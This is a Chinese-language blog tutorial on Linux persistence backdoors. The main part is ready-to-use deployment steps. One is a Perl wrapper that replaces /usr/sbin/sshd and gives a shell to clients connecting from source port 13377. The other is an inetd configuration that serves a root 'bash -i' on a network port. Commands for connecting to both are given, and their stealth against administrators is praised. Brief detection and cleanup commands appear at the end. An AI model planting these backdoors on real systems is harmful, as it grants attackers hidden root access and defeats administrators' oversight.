当前位置: 首页>编程语言>正文

linux-wrapper跟inetd服务后门

wrapper后门实践

部署后门

cd /usr/sbin/
mv sshd ../bin/

echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd

/etc/init.d/sshd restart 
//或者 service sshd restart
linux-wrapper跟inetd服务后门,第1张
在这里插入图片描述

这样后门就部署好了,我们来连接后门。运行socat STDIO TCP4:10.xx.xx.125:22,sourceport=13377

linux-wrapper跟inetd服务后门,第2张
在这里插入图片描述
linux-wrapper跟inetd服务后门,第3张
在这里插入图片描述

这个后门的优势是只有在连接的情况下,才会在进程中显示出来。

linux-wrapper跟inetd服务后门,第4张
在这里插入图片描述

优点:

  1. 隐蔽性较强,无需要编译,使用于大部分环境中
  2. 在无连接后门的情况下,管理员是看不到端口和进程的,last也查不到登陆

缺点:

需要重启sshd进程

原理

首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,**启动/usr/bin/sshd,这是原始sshd**。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是13377就执行sh给个shell。

简单点就是从sshd fork出一个子进程,输入输出重定向到套接字,并对连过来的客户端端口进行了判断。

更多

其中 4A是13377的小端模式,如果你想修改源端口,可以用python的struct标准库实现

Python 2.7.12 (default, Oct  5 2020, 13:56:01)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import struct
>>> print repr(struct.pack('>I6',19526))
'\x00\x00LF'
>>> print repr(struct.pack('>I6',13377))
'\x00\x004A'
linux-wrapper跟inetd服务后门,第5张
在这里插入图片描述

这里也简单啰嗦下/usr/bin 跟 /usr/sbin

/usr/bin:

主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome*、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb*、wget等。

/usr/sbin:

放置一些网路管理的必备程序例如:dhcpd、httpd、imap、in.*d、inetd、lpd、named、netconfig、nmbd、samba、sendmail、squid、swap、tcpd、tcpdump等

检测

检查网络链接及文件

cat /usr/sbin/sshd

清除

rm -rf /usr/sbin/sshd; mv /usr/bin/sshd ../sbin;

inetd服务后门

inetd是一个监听外部网络请求(就是一个socket)的系统守护进程,默认情况下为13端口。当inetd接收到一个外部请求后,它会根据这个请求到自己的配置文件中去找到实际处理它的程序,然后再把接收到的这个socket交给那个程序去处理。所以,如果我们已经在目标系统的inetd配置文件中配置好,那么来自外部的某个socket是要执行一个可交互的shell,就获取了一个后门

部署inetd服务后门

#修改/etc/inetd.conf
$vim /etc/inetd.conf

#discard stream tcp nowait root internal 
#discard dgram udp wait root internal 
daytime stream tcp nowait root /bin/bash bash -i

#开启inetd
$inetd

#nc连接
nc -vv 192.168.2.11 13
#可以配合suid后门,修改/etc/services文件:
suidshell 6666/tcp
#然后修改/etc/inetd.conf
suidshell stream tcp nowait root /bin/bash bash -i
#可以修改成一些常见的端口,以实现隐藏

检测:查看配置文件即可

cat /etc/inetd.conf 
linux-wrapper跟inetd服务后门,第6张
在这里插入图片描述

linux-wrapper跟inetd服务后门,第7张
在这里插入图片描述

linux-wrapper跟inetd服务后门,第8张
在这里插入图片描述

如果你觉得有收获,辛苦师傅点个赞或者关注吧,授人玫瑰、手有余香~


https://www.xamrdz.com/lan/5f32016321.html

相关文章: